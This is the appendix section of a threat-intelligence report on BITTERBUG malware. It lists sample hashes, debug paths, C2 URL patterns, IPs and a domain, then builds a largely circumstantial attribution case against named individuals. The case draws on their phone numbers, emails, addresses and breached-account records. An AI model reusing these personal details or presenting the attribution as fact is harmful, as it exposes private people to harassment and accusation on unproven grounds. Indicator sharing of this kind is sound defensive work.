          801c8bac8aea4d0226e47551c808a331                         169984                  2013-06-14T13:53:13Z

          a21f2cb65a3467925c1615794cce7581                         172032                  2013-06-25T13:04:04Z

          35663e66d02e889d35aa5608c61795eb                         171520                  2013-07-09T10:16:00Z

          328adb01fb4450989ee192107a765792                         173056                  2013-08-01T17:28:54Z

          8878162cf508266f6be1326da20171df                         267776                  2013-10-24T09:28:23Z

          5ccb43583858c1c6f41464ee21a192ba                         225792                  2013-12-06T10:02:36Z

          44abc22162c50fcc8dc8618241e3cd1a                         169472                  2013-12-26T09:19:40Z

          6e8c4d2d5d4e5e7853a1842b04a6bfdf                         480256                  2013-12-30T13:11:23Z

          828d4a66487d25b413cb19ef8ee7c783                         171520                  2014-03-17T08:16:25Z
</table>

BITTERBUG and Support Component Debug Strings (in order of first use)
<table>
 Compile Time            Debug Paths
 2013-05-08T10:58:22Z    C:\Users\Tranchulas\Documents\Visual Studio 2008\Projects\upload\Release\upload.pdb

 2013-05-10T19:18:54Z    C:\Users\Tranchulas\Documents\Visual Studio 2008\Projects\upload\Release\upload.pdb

 2013-05-23T17:21:19Z    C:\Users\Tranchulas\Documents\Visual Studio 2008\Projects\upload\Release\upload.pdb

 2013-05-28T11:59:36Z    C:\Users\Cath\documents\visual studio 2010\Projects\ExtractPDF\Release\ExtractPDF.pdb

 2013-05-30T08:48:04Z    C:\Users\Cath\documents\visual studio 2010\Projects\Start\Release\Start.pdb

 2013-06-13T08:34:21Z    C:\Users\Cath\documents\visual studio 2010\Projects\ExtractPDF\Release\ExtractPDF.pdb

 2013-06-14T13:53:13Z    C:\Users\Cert-India\Documents\Visual Studio 2008\Projects\ufile\Release\ufile.pdb

 2013-06-25T13:04:04Z    C:\Users\umairaziz27\Documents\Visual Studio 2008\Projects\usb\Release\usb.pdb

 2013-07-09T10:16:00Z    C:\Users\Cert-India\Documents\Visual Studio 2008\Projects\ufile\Release\ufile.pdb

 2013-08-01T17:28:54Z    C:\Users\Cert-India\Documents\Visual Studio 2008\Projects\ufile\Release\ufile.pdb

 2013-10-24T09:28:23Z    C:\Intel\Logs\file.pdb

 2013-12-06T10:02:36Z    C:\Intel\Logs\logs.pdb

 2013-12-26T09:19:40Z    C:\Intel\Logs\file.pdb

 2013-12-30T13:11:23Z    C:\Intel\Logs\file.pdb

 2014-03-17T08:16:25Z    C:\Intel\Logs\file.pdb
</table>



<footer>17   •   OPERATION ARACHNOPHOBIA</footer>


BITTERBUG Import Hashes
<table>
                         Imphash                   Compile Time
             610893cd57631d1708d5efbc786bd9df    2013-05-08T10:58:22Z

             5b1bebadb5713018492b1973ab883c25    2013-05-10T19:18:54Z

             5b1bebadb5713018492b1973ab883c25    2013-05-23T17:21:19Z

             cf63bfee568869182bd91a3cb8e386ce    2013-06-14T13:53:13Z

             ccca290b8ab75a5b29f61847fb882c20    2013-06-25T13:04:04Z

             cf63bfee568869182bd91a3cb8e386ce    2013-07-09T10:16:00Z

             435bd4f04b2ee7cb05ce402f2bcea85e    2013-08-01T17:28:54Z

             2458ee58d046f14cad685e6c9c66f109    2013-10-24T09:28:23Z

             c47d4980c1c152eba335bed5076e8a6f    2013-12-06T10:02:36Z

             bd0665ffedcf2a9ded36a279d08e4752    2013-12-26T09:19:40Z

             58758cb068583736ef33a09a2c4665de    2013-12-30T13:11:23Z

              5b943bec7d2a589adfe0d3ff2a30bfe5   2014-03-17T08:16:25Z

</table>
</section>

<footer>17   •   OPERATION ARACHNOPHOBIA</footer>


<section>
<heading>BITTERBUG Network Communications</heading>

 HTTP Requests
<list>
 http://<c2_location>/checkpkg_maxell.php?compname=

 http://<c2_location>/checkpkg_petal.php?compname=

 http://<c2_location>/checkpkg.php?compname=

 http://<c2_location>/fetch_updates_8765_tb.php?compname=

 http://<c2_location>/fetch_updates_flex.php?compname=

 http://<c2_location>/fetch_updates_m.php?compname=

 http://<c2_location>/fetch_updates_petal.php?compname=

 http://<c2_location>/fetch_updates_pops.php?compname=

 http://<c2_location>/fetch_updates_pret.php?compname=

 http://<c2_location>/is_array_max.php?compname=

 http://<c2_location>/is_array_own.php?compname=

 http://<c2_location>/is_array_pal.php?compname=

 http://<c2_location>/is_array.php?compname=

 http://<c2_location>/maxell_active.php?compname=

 http://<c2_location>/path_active.php?compname=

 http://<c2_location>/petal_active.php?compname=

 http://<c2_location>/version_maxell.php?srs=

 http://<c2_location>/version_own.php?srs=

 http://<c2_location>/version_petal.php?srs=

 http://<c2_location>/versionchk.php?srs=

 http://<c2_location>/vtris.php?srs=

 http://<c2_location>/vtris1.php?srs=

 http://<c2_location>/fetch_updates_8765.php?compname=
</list>
BITTERBUG Domain & IPs
<table>
 C2s
 199.91.173.43

 199.91.173.44

 199.91.173.45

 windowsupdate.no-ip.biz

</table>
</section>



<footer>19   •   OPERATION ARACHNOPHOBIA</footer>

<section>
<heading>
APPENDIX C: VPSNOC Email Header Analysis</heading>
The Kansas-City-based hosting provider sent an introductory email message on July 24th, 2013 at 1500 CDT and would be
received by TCIRT at 1400 EDT and VPSNOC on Thursday July 25th, 2013 at 1200 PKT. <fn>49</fn>

Analysis of the VPSNOC email<fn>50</fn> header indicated that the message was sent on Thursday 25 July at 02:28:41 +0500 GMT, which
is consistent with Pakistan’s time zone. Of note, the email message was sent with an X-Originating IP Address of 184.75.214.10
corresponding to a Private Internet Access<fn>51</fn> Canadian proxy<fn>52</fn>. VPSNOC’s use of this commercial proxy service likely
demonstrates the intent to mask the apparent origin of the sender.

These two examples highlight that VPSNOC’s inbound and outbound email communications consistently utilized a +0500
Pakistani timezone.


<footnote>

49	       Digital Appendix 1: Raw Email Communications; Email#1 Subject- Re- Contact Info (Date- Wed, 24 Jul 2013 14-00-29 -0500).eml
50	       Digital Appendix 2: Raw Email Communications; Email#2 Subject- Re- Contact Info (Date- Thu, 25 Jul 2013 02-28-41 +0500).eml
51	       https://www.privateinternetaccess.com
52	       http://pastebin.com/F261NfYa
</footnote>


</section>

<footer>20   •   OPERATION ARACHNOPHOBIA</footer>

<section>
<heading>
APPENDIX D: Inconsistencies Observed</heading>
Due to the apparent Pakistani nexus within the BITTERBUG malware and the Pakistan time zone consistently observed within
the VPSNOC emails, the TCIRT applied additional scrutiny and research of the content within the Tranchulas “Response_
ThreatConnect.docx” to validate their claims. In the following section we will examine the inconsistencies observed. Within the
response we observed the following inconsistencies:
</section>
<section>
<heading>Inconsistency #1: Day & Date Misalignment within image1.png Screenshot</heading>
Our review of the “Response_ThreatConnect.docx”<fn>53</fn> focused in on the email screenshot (Figure 3) image1.png<fn>54</fn> that Khan
provided revealing that the date probably had been modified to appear as though they were the first to notify VPSNOC. Within
the official response, Zubair Khan indicated that Tranchulas was “already aware of this incident...and contacted hosting
company.” The official response included a screenshot depicting an email sent to VPSNOC from an unidentified (redacted)
tranchulas.com email address that was sent on “Tue, Jul 21, 2013 at 11:36 PM” with no evidence of the date in which it was
received by or responded to by VPSNOC. This message contained a notable misalignment between the date and day of the week.

July 21, 2013 was a Sunday, not a Tuesday. “Tuesday” would have pre-dated our official notification that occurred on Wednesday
July 24, 2013, and could indicate that Tranchulas may have obtained insight into the original TCIRT notification through Pakistan-
based contacts within VPSNOC. The TCIRT subsequently responded to Mr. Khan’s official explanation with a follow-up inquiry,
offering Khan an opportunity to explain the date inconsistency within the email screenshot. Mr. Khan deferred our request to
Mr. Hamza Qamar<fn>55</fn>, a Penetration Testing Team Lead at Tranchulas, who later responded<fn>56</fn> with a simple denial that the email
message had not been altered apart from blurring the name of the original sender.
</section>
<section>
<heading>Inconsistency #2: Awareness of Withheld Information</heading>
The email screenshot (image1.png) from within the Tranchulas response demonstrated awareness of information that we initially
withheld and later released in our blog post: one malware variant<fn>57</fn> that contained a debug string with “umairaziz27” the
same username as a Tranchulas employee. The Tranchulas message to VPSNOC incorrectly claimed to identify malware on
199.91.173.43 that contained the “company’s name and...employee’s name”. While it is possible that Tranchulas’ analysts
discovered this variant independent of the blog post, it added to the inconsistent elements of the response and further suggested
that the blog post may have inspired its communications with VPSNOC. We note that we requested additional information such as
the “detailed analysis report” within the exchange from Tranchulas but did not receive a response.
</section>
<section>
<heading>Inconsistency #3: Tranchulas Direct Notification</heading>
The Tranchulas response indicates that “Tranchulas’ research team was already aware of this incident before publication
of this report. Our team contacted hosting company of server to seek an explanation.” Considering there are no
public references to the identified infrastructure identifying VPSNOC as the “hosting company”. The only way for Tranchulas to
identify VPSNOC as the hosting company was to either have previous insider knowledge of the activity, or to have been privately
introduced by the Kansas-City-based service provider to their “client” VPSNOC, of which was never mentioned or discussed when
we initially exchanged with either the Kansas-City or Pakistan-based hosting providers.



<footnote>
53	       Digital Appendix 1: Research Collateral Response_ThreatConnect.docx (MD5: 6f7010a28f33be02d85deb9ba40ec222)
54	       Digital Appendix 1: Research Collateral image1.png (MD5: d224f39f8e20961b776c238731821d16)
55	       http://pk.linkedin.com/pub/hamza-qamar/22/6b8/109
56	Digital Appendix 2: Raw Email Communications (Email#4 Subject- Re- Regarding 20130731A- South Asia Cyber Espionage Heats Up -
    (Date- Thu, 15 Aug 2013 12-52-54 +0500).eml
57	       https://www.virustotal.com/en/file/b9a062e84ab64fc55dedb4ba72f62544eb66d7e1625059d2f149707ecd11f9c0/analysis/
</footnote>




<footer>21   •   OPERATION ARACHNOPHOBIA</footer>
Public registration of the 199.91.173.43 reveals the Kansas-City-based hosting provider as the official registrant and owner
of the infrastructure. The only way to know that VPSNOC was subleasing the infrastructure was to obtain this information directly
from them. There was no public reference which would have revealed VPSNOC as the entity which maintained root access to the
199.91.173.43. Had Tranchulas legitimately conducted an initial victim notification sometime in late July 2013, they would have
likely done so through the Kansas-City-based hosting provider and not VPSNOC.

On August 15, 2013, Hamza Qamar’s response to TCIRT’s follow up inquiry to the observed inconsistencies redirected TCIRT
personnel to VPSNOC to obtain an explanation versus attempting to explain the observed day date inconsistency and document
properties within the Tranchulas email. The TCIRT’s suspicion mounted when presenting Tranchulas with the opportunity to set the
record straight, that Tranchulas could not substantiate their claims, rather deferring the TCIRT inquiry to a third party (VPSNOC).
</section>
<section>
<heading>Inconsistency #4: Tranchulas obtains similar response that TCIRT obtained</heading>
Within the “Response_ThreatConnect.docx“ the image “image1.png” contains an undated response from VPSNOC to the
“Tue, Jul 21, 2013” Tranchulas notification. The undated VPSNOC response that Tranchulas received is nearly identical to the
response that TCIRT and the Kansas-City-based service provider obtained on July 24th. Tranchulas does not include the date or
time as to when they obtained a response from VPSNOC.

The TCIRT found it unusual that neither the Kansas-City-based service provider or VPSNOC personnel ever indicated either way
that they knew about the activity or had been previously contacted by either party. When considering all of the inconsistencies,
order of events and studying, Gmail webmail layout, similarities of keywords, salutations and closings within the “Tue, Jul 21,
2013” Tranchulas notification and the respective VPSNOC response. The TCIRT grew increasingly suspicious of the exchanges
with VPSNOC and subsequent exchanges with Tranchulas personnel.
</section>
<section>
<heading>Inconsistency #5: Similar Document Metadata Properties</heading>
Analysis of metadata within two benign decoy documents that were originally used within July 2013 BITTERBUG operations,
Report.docx<fn>58</fn> and Naxalites_Funded_by_Pakistan.docx<fn>59</fn>, both maintained the author properties of “hp”. In reviewing the
document metadata within the “Response_ThreatConnect.docx“ that was sent from Mr. Zubair Khan on August 6, 2013, the
TCIRT also identified that this document maintained the creator properties of “hp.” (Figure 10)

While the author field of “hp” doesn’t conclusively prove a relationship, it contributes to a body of circumstantial evidence which
matches the document properties of the official Tranchulas response to the document properties that were also found within
decoy documents that were bundled with BITTERBUG implants.


<footnote>

58	       https://www.virustotal.com/en/file/7e940115988d64fbf7cd3b0d86cd2440529f921790578a96acac4c027120e0c5/analysis/
59	       https://www.virustotal.com/en/file/f689d9990a23fbde3b8688b30ff606da66021803390d0a48d02fad93dc11fa15/analysis/
</footnote>

</section>


<footer>22   •   OPERATION ARACHNOPHOBIA</footer>

<section>
<heading>
APPENDIX E: VPSNOC & Digital Linx Associations</heading>
According to the vpsnoc.com website “In 2007 five VPS experts decided to invest in their very own private rack space in the heart
of Kansas, the United States. Their aim? To bring service-oriented, quality managed and unmanaged VPS solutions to clients
all over the world. Just 1 year later, after beginning their enterprise on 3 servers they had filled 2 server racks with happy clients
receiving quality U.S support. Their company continued to build momentum.” <fn>60</fn>

Whois records for vpsnoc.com indicate that another individual registered the domain and listed Digital Linx Hosting as the registrant
organization with a Kansas City-based address, telephone number 925-665-1427, and administrative email address admin@digitallinx.
org.<fn>61</fn> This is the same registrant record for the digitallinx.net domain.<fn>62</fn> The digitallinx.net/sitemap.xml<fn>63</fn> and the corresponding Google
cache<fn>64</fn> for digitallinx.net/sitemap.xml indiciate that both digitallinx.net and digitallinx.com have shared the same sitemap.xml at the same
time. The digitallinx.net/Contact.html<fn>65</fn> identified similar overlaps with data across the .org, .net, and .com domains.

The domain digitallinx.com is registered to Perasona #1.<fn>66</fn> <fn>67</fn> <fn>68</fn> <fn>69</fn> He uses email addresses naseer@digitallinx.com and nbhatti@
gmail.com as the domain registrant email address, along with address 638-F Johar Town, Lahore Pakistan and telephone
966.548805579.<fn>70</fn> The DigitalLinx (digitallinx.com) website states that it is “a web hosting / Web Solutions & Processing
Outsourcing Company based in Pakistan”.

Open source research of the phone number 925-665-1427 indicates that it is also used within site content as a phone number for
defiantmarketing.com. This domain is registered by Persona #2 <fn>71</fn> who uses the aliases “agnosticon” and “agnostic”. Persona #2 lists VPSNOC
as the registrant organization, and uses the registration email address of abunasar@yahoo.com with an address of House 12, Street 21, F-8/1
Islamabad Federal 44000. The domain defiantmarketing.com domain has used ns1.abunasar.net and ns2.abunasar.net for name services.

Within a January 2009 posting to a Debian users forum, Persona #2 sends an email from the abunasar@yahoo.com with a reply-to as
abunasar@army.com.<fn>72</fn> Within the post, Persona #2 responds to the question “Who’s using Debian” listing DigitalLinx, Kansas City MO and
the link to digitallinx.com. Also, the seemingly abandoned Twitter profile for Persona #2<fn>73</fn> is only following the Twitter profile for @VPSNOC.<fn>74</fn>

In an April 2012 post to blackhatworld.com, a user with the alias “agnosticon” posted promotional codes for VPSNOC hosting
services, engaging with customers, providing them feedback regarding VPS services and thanking them for positive reviews.<fn>75</fn>
Within the posting the user “agnosticon” included an image which was an actual advertisement that was hosted at http://vpsnoc.
com/order.png.<fn>76</fn> <fn>77</fn> Within the posted image it states “VPSNOC is a subdivision of Digital Linx Hosting. We have been in business since
2008”. The posting concludes with “If you have any further questions/queries please contact us directly at: support@vpsnoc.com”

<footnote>
60	       http://vpsnoc.com
61	       https://whois.domaintools.com/vpsnoc.com
62	       https://whois.domaintools.com/digitallinx.net
63	       digitallinx.net/sitemap.xml
64	       http://webcache.googleusercontent.com/search?q=cache:CtCiQUGgUaoJ:www.digitallinx.net/sitemap.xml+&cd=1&hl=en&ct=clnk&gl=us
65	       digitallinx.net/Contact.html
66	       https://whois.domaintools.com/digitallinx.com
67	       http://sa.linkedin.com/pub/muhammad-naseer-bhatti/9/18a/815
68	       https://groups.google.com/forum/#!original/securityfocus2/9325p2as3IU/BqKQJwdlZ4YJ
69	       Appendix F: Personas; Persona #1 Muhammad Naseer Bhatti
70	       https://github.com/digitallinx/vBilling/blob/master/CHANGELOG
71	       Appendix F: Personas; Persona #2 Abunasar Khan
72	       https://lists.debian.org/debian-www/2009/01/msg00186.html
73	       https://twitter.com/abunasar
74	       https://twitter.com/vpsnoc
75	       http://www.blackhatworld.com/blackhat-seo/members/32481-agnosticon.html
76	       http://www.blackhatworld.com/blackhat-seo/hosting/430705-unmetered-vps-hosting-get-50-off-your-first-month-exclusive-coupons-bhw.html
77	       http://vpsnoc.com/order.png
</footnote>
</section>



<footer>23   •   OPERATION ARACHNOPHOBIA</footer>

<section>
<heading>

APPENDIX F: Personas</heading>
</section>
<section>
<heading>Persona #1:</heading>
Muhammad Naseer Bhatti’s LinkedIn profile indicates that he is currently the founder for Digital Linx LLC and vBilling (vbilling.org)
as well as a consultant for a U.S. company<fn>78</fn>. Both Bhatti and Digital Linx are listed as the registrants for vbilling.org<fn>79</fn>, v-billing.
com<fn>80</fn>, vgriffins.com<fn>81</fn> and my-server.co<fn>82</fn>, which use P.O. Box 295658, Riyadh Saudi Arabia<fn>83</fn> as the registration address. This
is also the address for two U.S. companies’ local operations. Bhatti is also listed as the owner of the netblock 46.4.139.224/28.
Both passive DNS sources as well as Robtex<fn>84</fn> highlight this overlapping infrastructure.<fn>85</fn>

From September 7 - 9, 2011, Tranchulas in cooperation with the Pakistan National University of Sciences and Technology<fn>86</fn>
(NUST), offered a Certified Penetration Testing Profession (CPTP) Workshop<fn>87</fn> (Figure 17). During the workshop, basic penetration
techniques and skills were presented<fn>88</fn>. It is likely that CPTP workshops and alignment with NUST have allowed Tranchulas the
opportunity to recruit student interns.<fn>89</fn>



<footnote>
78	       http://sa.linkedin.com/pub/muhammad-naseer-bhatti/9/18a/815
79	       http://whois.domaintools.com/vbilling.org
80	       http://whois.domaintools.com/v-billing.com
81	       http://whois.domaintools.com/vgriffins.com
82	       http://whois.domaintools.com/my-server.co
83	       http://saudi.emc.com/contact/contact-us.htm
84	       https://www.robtex.com/dns/digitallinx.com.html
85	       http://whatmyip.co/info/whois/46.4.139.225
86	www.nust.edu.pk
87	       http://seecs.nust.edu.pk/Seminars_workshops/pages/tranchulas_hacking_workshop/index.php
88	       Digital Appendix 1: Research Collateral (Program.pdf)
89	       http://www.nust.edu.pk/INSTITUTIONS/Directortes/ilo/Download%20Section/Graduate%20Profiles%20booklet-%202013%20(SEECS).pdf
</footnote>




<footer>24   •   OPERATION ARACHNOPHOBIA</footer>
<figure></figure>
              <caption>            Figure 17: Muhammad Nasser Tranchulas CPTP Registration Point of Contact</caption>


Within the CPTP event registration contact information for Muhammad Naseer was listed next to a Tranchulas office number (051-
2871433)<fn>90</fn>. It is important to note that Muhammad Naseer Bhatti has been previously known to drop<fn>91</fn> the family name “Bhatti”


<footnote>
90	       http://www.linkedin.com/groups/Tranchulas-Handson-Ethical-Hacking-Training-2616369.S.75237952
91	       https://groups.google.com/forum/#!original/securityfocus2/9325p2as3IU/BqKQJwdlZ4YJ
</footnote>




<footer>25   •   OPERATION ARACHNOPHOBIA</footer>
within online correspondence (Figure 18). In a June 2012 episode of Engineering and Technology Magazine<fn>92</fn> podcast a Mohammed
Nasser, Penetration Tester at Tranchulas was interviewed<fn>93</fn>. A Mohammed Nasser may also be directly affiliated<fn>94</fn> with Tranchulas.

<figure></figure>


         <caption>                            Figure 18: Muhammad Nasser Bhatti Dropping Family Name</caption>


This links Tranchulas to a Pakistani employee or consultant also named Muhammad Naseer. It is unknown if this is the same
Muhammad Naseer that is associated with VPSNOC’s parent company Digital Linx, the Pakistan-based service provider which
hosted the original BITTERBUG malware.

<footnote>
92	       http://eandt.theiet.org/magazine/2012/06/
93	       http://eandt.theiet.org/magazine/2012/06/et-podcast-18.cfm
94	       http://www.zoominfo.com/s/#!search/profile/person?personId=1627460418&targetid=profile
</footnote>

</section>


<footer>26   •   OPERATION ARACHNOPHOBIA</footer>

<section>
<heading>Persona #2:</heading>
Abunasar Khan also maintains the aliases “agnosticon”<fn>95</fn> and “agnostic”<fn>96</fn> in addition to the email addresses abunasar@yahoo.
com and abunasar@army.com. He has been previously associated<fn>97</fn>with VPSNOC & Digital Linx. An April 2012 Whois registrant
record for the domain zeusadnetwork.com<fn>98</fn> includes the first and last name Khan along with the same (925) 665-1427 phone
number seen within the Digial Linx Hosting domains.

Khan registered a variety of domains, many of which use his abunasar.net<fn>99</fn> for name services and abunasar.yahoo.com within
the Start of Authority (SOA) records. For example a July 2014 record (Figure 19) for defiantmarketing.com<fn>100</fn> and an August 2013
record (Figure 20) for ns2.vpsnoc.com both maintain these references.


<figure></figure>

                <caption>                      Figure 19: SOA record for defiantmarketing.com (July 2014)</caption>


<footnote>
95	        http://www.blackhatworld.com/blackhat-seo/members/32481-agnosticon.html
96	        http://www.redlinegti.com/forum/viewtopic.php?f=3&t=41719&p=401115
97	        http://www.webhostingtalk.com/showthread.php?t=723658
98	        http://whois.domaintools.com/zeusadnetwork.com
99	        http://whois.domaintools.com/abunasar.net
100	       http://bgp.he.net/dns/defiantmarketing.com
</footnote>




<footer>27   •   OPERATION ARACHNOPHOBIA</footer>                                      
<figure></figure>

<caption>    Figure 20: SOA Record for vpsnoc.com (August 2013)</caption>


Abunasar Khan registered abunasar.net and previously (May 2007) and maintained whitehate.org<fn>101</fn>, which have both been used
to demonstrate an affinity for and alignment with AntiSec and Anonymous movements.<fn>102</fn> The abunasar.net website prominently
displays ascii art of the term “antisec” with antisec related content “Blend in. Get trusted. Trust nobody. Own everybody. Disclose
nothing. Destroy everything. Take back the scene.” This is a shared affinity that is also reflected amongst with the culture of
Tranchulas employees.<fn>103</fn> <fn>104</fn> <fn>105</fn> The pure.whitehate.org domain has also been previously associated with Khan, examples can be
found within #phrack and #darknet IRC sessions.<fn>106</fn> <fn>107</fn>

Ironically, in February 2011, Khan’s Rootkit.com user profile was compromised revealing his profile’s username, password hash,
email (abunasar@army.com), and the registration IP address of 202.125.143.67 (Islamabad, Pakistan).<fn>108</fn> During his registration,
Khan specified the name “anony mo us” when registering the profile. As of 16 August 2013, a Pastebin post contained details of
a customer database compromise for nowclothing.pk, which included Khan’s name, email abunasar@army.com, and cell phone
number 03215488881.<fn>109</fn> <fn>110</fn>

Research of the 03215488881 cell phone number yields a user profile “abunasark” in an April 2009 posting.<fn>111</fn> Khan posts
pictures of his blue Baleno and includes another phone number 03234764838.<fn>112</fn> In a secondary profile user “Ak” uses the same
cell phone number 03215488881 in a 2009 sales posting for a 2004 blue Baleno.<fn>113</fn> <fn>114</fn>
<footnote>
101	       https://whois.domaintools.com/whitehate.org
102	       https://whois.domaintools.com/abunasar.net
103	       https://www.facebook.com/media/set/?set=a.542485719112184.135023.132987340062026&type=3
104	       http://youtube.com/watch?v=w3DjOuEI0vs.mov
105	       Digital Appendix 3: Screenshot Archives (youtube.com/watch?v=w3DjOuEI0vs.mov)
106	       http://pastebin.com/rqVGqh1q
107	       http://shootingsawk.lescigales.org/misc/owneddarknet.txt
108	       https://dazzlepod.com/rootkit/?page=284
109	       http://pastebin.com/ktR3qM3K
110	       Digital Appendix 3: Screenshot Archives (pastebin.com/ktR3qM3K.png)
111	       http://www.pakwheels.com/forums/user/abunasark
112	       http://www.pakwheels.com/forums/members-member-rides/99428-white-baleno-not-anymore-comments-please-p-4
113	       http://www.motors.pk/ak-22.htm
114	       http://www.motors.pk/used-cars/suzuki-baleno-2004-for-sale-in-islamabad-22.htm
</footnote>




<footer>28   •   OPERATION ARACHNOPHOBIA</footer>
Khan’s affinity for Suzuki Baleno cars is made obvious in a May 2009 registration for clubaleno.co.uk that was registered by Khan
at VPSNOC using the name services of ns1.abunasar.net and ns2.abunasar.net with a SOA record of abunasar.yahoo.com.<fn>115</fn> <fn>116</fn>
Later in a June 2009 posting, Khan using the alias “agnostic” attempts to sell the domain clubaleno.co.uk and uses his abunasar@
army.com email address as a point of contact.<fn>117</fn>

Khan is also observed using the alias “agnosticon” and a Toyota Racing Development avitar within posts to blackhatworld.com
and again within a 2011 post where he posts a cpanel error that also includes his “abunasar” username within system output.<fn>118</fn>

The Google+ profile for Khan<fn>119</fn> reveals established social network links to a Team Lead for Penetration Testing at Tranchulas and
a Digital Linx employee Shoaib Riaz<fn>120</fn> who also maintains a social network association with the Digital Linx founder Muhammad
Nasser Bhatti.<fn>121</fn>


<footnote>

115	       http://www.sitetrail.com/clubaleno.co.uk
116	       http://dawhois.com/site/clubaleno.co.uk.html
117	       http://www.redlinegti.com/forum/viewtopic.php?f=3&t=41719&p=401115
118	       http://forums.cpanel.net/f5/help-yum-broke-rpm-db-broke-somehow-httpd-wont-start-238511.html
119	       https://plus.google.com/103436628630566104748/posts
120	       https://plus.google.com/105059395104464629441/about
121	       https://plus.google.com/105855064276291727409/posts
</footnote>

</section>


<footer>29   •   OPERATION ARACHNOPHOBIA</footer>

<section>
<heading>
APPENDIX G: Tranchulas</heading>
The Tranchulas website<fn>122</fn> states that they provide a range of security services and training to include penetration and offensive
cyber initiative (OCI), in which they “help national level cyber security programs on strategies for managing offensive technical
threats”. In a September 2011 YouTube user “tranchulascert” posted a video titled “Tranchulas Cyber Ranges - P@sha ICT Awards
2011<fn>123</fn>”, where they awarded runner up<fn>124</fn>. Within the video, the cyber ranges were referenced as being developed for “defense
forces” that were aimed to “help them in developing offensive and defensive warfare skills” and “combating anti-state hackers”.

Although Tranchulas<fn>125</fn> brands itself as a multi-national company, their respective operating addresses within United Kingdom<fn>126</fn>
the United States<fn>127</fn> and New Zealand<fn>128</fn> are all associated with either virtual office spaces or address forwarding services. The
Tranchulas website lists its Pakistan address within the 2nd floor of the Evacuee Trust Complex<fn>129</fn> on Sir Agha Khan Road F-5/1
Islamabad 44000. The Evacuee Trust Complex is also known as Software Technology Park 2<fn>130</fn> or STP2 and hosts a variety<fn>131</fn> of
other commercial and government offices.

The Tranchulas employee, Hamza Qamar, that handled the response to our inquiry has a public LinkedIn<fn>132</fn> profile that states that
he “Engaged in system and enterprise level network and Web application security testing for clients ranging from large federal
agencies, DoD, and commercial clients.” The profile does not specify if DoD is a reference to the U.S. Department of Defense or
another country’s Ministry of Defense. Interestingly, Qamar’s Google+ page showed one “friend” in his circle despite more than 40
followers, Abunasar Khan a VPSNOC employee.

It is likely that Tranchulas provides services to the Pakistani government. The offensive cyber initiative services offered by
Tranchulas is offered to “national-level cyber security programs” suggesting a commercial demand from “national-level” customers.
The stated purpose and intent of the Tranchulas “Cyber Ranges” P@sha ICT 2011 awards video suggests the ranges were
specifically developed in support of national interests for offensive and defensive purposes. The domain registration by Zubair
Khan using an official Pakistani government address with his zubair@tranchulas.com email address indicates that Khan may have
or currently maintains a physical address at a location where other Pakistani government officials reside.

Historic Whois registration records for the domains textcrypter.com<fn>133</fn>, taggnation.com<fn>134</fn>, bookadoconline.com<fn>135</fn> and saadiakhan.
net<fn>136</fn> lists Tranchulas CEO Zubair Khan (zubair@tranchulas.com<fn>137</fn>) as the registrant for the domains. At the time of registration
Khan used the address 15-B, Mehran Block of the Gulshan-e-Jinnah F-5/1 Islamabad Pakistan for the domains.



<footnote>
122	   http://tranchulas.com
123	   https://www.youtube.com/watch?v=FAM6JxOHdo8
124	   http://pashaictawards.com/?page_id=1644
125	   http://tranchulas.com/contact-us/
126	   http://www.londonpresence.com/contact-us/
127	   http://nextspace.us/nextspace-union-square-san-francisco/
128	   http://www.privatebox.co.nz/virtual-office/virtual-office-address.php
129	   https://www.facebook.com/EvacueeTrustComplex
130	   http://wikimapia.org/425791/Evacuee-Trust-Complex
131	   https://www.facebook.com/EvacueeTrustComplex/photos/a.554791821273808.1073741825.404981572921501/554791824607141/
132	   http://pk.linkedin.com/pub/hamza-qamar/22/6b8/109
133	   https://whois.domaintools.com/textcrypter.com
134	   https://whois.domaintools.com/taggnation.com
135	   https://whois.domaintools.com/bookadoconline.com
136	   https://whois.domaintools.com/saadiakhan.net
137	   https://reversewhois.domaintools.com/?email=b249ca637ef7cc55a0136bcda9dca0d3
</footnote>




<footer>30   •   OPERATION ARACHNOPHOBIA</footer>
In an April 2008 Request for Proposals, the Pakistan Public Works Department issued a tender<fn>138</fn> for the Constriction of
Government Servant Quarters and Garages at Gulshan-e-Jinnah Complex F-5/1 Islamabad. Later in May of 2010 within a
Pakistani Senate<fn>139</fn> question and answer session, the Gulshan-e-Jinnah Complex was cited under Federal Lodges / Hostels in
Islamabad under the control of Pakistan Ministry for Housing and Works. A December 2010 TheNews Pakistan ran a story<fn>140</fn>
that detailed the differential in rents between commoners within Islamabad and Pakistani government officers accommodated
at Gulshan-e-Jinnah. According to Google Maps<fn>141</fn> it is approximately 650 meters (8 minute walk) from the Gulshan-e-Jinnah
Complex to the Tranchulas offices within the Evacuee Trust Complex.

Within a May 2013 interview<fn>142</fn> Khan specified that he comes from a family with a strong military background. He detailed his
interest in “the world of hacking” grew during his teen years, referencing his father’s diplomatic assignment to the Philippines in
2003. Khan would go on to establish Tranchulas in February 2006 after an independent audit of Pakistani Governments National
Database and Registration Authority (NADRA).



<footnote>
138	       http://www.dgmarket.com/tenders/np-notice.do?noticeId=2466880
139	       http://www.senate.gov.pk/uploads/documents/questions/1317711132_399.pdf
140	       http://www.thenews.com.pk/Todays-News-2-22150-Bureaucrats-journalists-avail-cheaper-accommodation
141	https://www.google.com/maps/dir/Tranchulas,+Islamabad,+Pakistan/Gulshan-e-Jinnah+Complex,+Islamabad,+Pakistan/@33.7327466,7
     3.0877996,17z/data=!4m13!4m12!1m5!1m1!1s0x38dfc0820ff3f9e3:0x4b3eb557d9cd81c3!2m2!1d73.088686!2d33.73353!1m5!1m1!1s0
     x38dfc0818a64f1d7:0x82c3bee2d49d88ab!2m2!1d73.089409!2d33.73263?hl=en-US
142	       http://bluechipmag.com/qa-with-zubair-khan/
</footnote>




<footer>31   •   OPERATION ARACHNOPHOBIA</footer>
</section>
<section>
<heading>Digital Appendix 1: Research Collateral</heading>
Digital Appendix 1 contains additional research collateral collected when conducting Operation Arachnophobia research.





<footer>32   •   OPERATION ARACHNOPHOBIA</footer>
</section>
<section>
<heading>Digital Appendix 2: Raw Email Communications</heading>
Digital Appendix 2 contains raw email communications. These .eml files include raw SMTP headers, content and attachments.




<footer>33   •   OPERATION ARACHNOPHOBIA</footer>
</section>
<section>
<heading>Digital Appendix 3: Screenshot Archives</heading>
Digital Appendix 3 contains screenshots of web content used to conduct analysis.





<footer>33   •   OPERATION ARACHNOPHOBIA</footer>
</section>
<section>
<heading>Digital Appendix 4: Maltego Visualization</heading>
Digital Appendix 4 contains visualization files that depict relationships and contain metadata associated with our Operation
Arachnophobia research.



</section>

<footer>34   •   OPERATION ARACHNOPHOBIA</footer>

</doc>